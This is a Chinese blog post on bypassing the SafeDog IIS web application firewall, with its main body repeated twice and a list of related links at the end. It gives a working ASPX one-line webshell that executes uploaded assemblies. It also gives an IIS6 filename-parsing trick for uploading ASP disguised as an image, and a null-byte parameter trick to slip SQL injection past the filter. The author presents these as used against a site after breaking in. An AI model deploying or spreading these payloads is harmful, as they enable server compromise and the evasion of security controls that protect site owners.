突破安全狗防注入及上传的一些思路
2012-10-08 14:06
92 查看
1、绕过IIS安全狗的一句话。
前几天测试一个网站。找到突破口之后,写入webshell,但服务器上装有IIS安全狗,平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。
2、IIS6.0解析漏洞遇到安全狗。
文件名为http://www.web.com/sh3llc0de.asp;1.jpg。
这样的会被IIS安全狗果断屏蔽。
改成如下名称,IIS6一样会解析:
www.web.com/;1.asp;1.jpg
3、安全狗的注入绕过。
常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。
但如果:
r00ts.asp?r00ts.com=%00.&id=69%20 and 1=1
就可以成功绕过了。
前几天测试一个网站。找到突破口之后,写入webshell,但服务器上装有IIS安全狗,平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。
2、IIS6.0解析漏洞遇到安全狗。
文件名为http://www.web.com/sh3llc0de.asp;1.jpg。
这样的会被IIS安全狗果断屏蔽。
改成如下名称,IIS6一样会解析:
www.web.com/;1.asp;1.jpg
3、安全狗的注入绕过。
常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。
但如果:
r00ts.asp?r00ts.com=%00.&id=69%20 and 1=1
就可以成功绕过了。
相关文章推荐
- 突破安全狗上传文件
- 突破各种安全软件 安全狗 继续渗透 上传
- 解决app在没有上传app store前大规模安装测试问题的一些办法与思路
- Windows2003服务器安全配置的一些思路
- 解决app在没有上传app store前大规模安装测试问题的一些办法与思路
- 突破安全狗的一些记录
- 解决app在没有上传app store前大规模安装测试问题的一些办法与思路
- 文件上传的一些思路
- 突破安全狗的一些记录
- 注入SA权限分离的一些思路
- Windows2003服务器安全配置的一些思路
- 解决app在没有上传app store前大规模安装测试问题的一些办法与思路
- PHP 安全手册 第七条 文件上传操作进行规避一些风险
- 突破安全狗的一些记录
- Windows2003服务器安全配置的一些思路
- 实战入侵(突破FCK+安全狗上传)
- 推荐我们站点一些有价值的网络安全维护及服务器安全维护技术的资料,望大家多多支持本站(02/22更新
- PHP安全的一些事
- PHPCMS V9上传附件图片出现“服务器安全认证错误”解决方法
- Spring常用的一些注解以及注解注入总结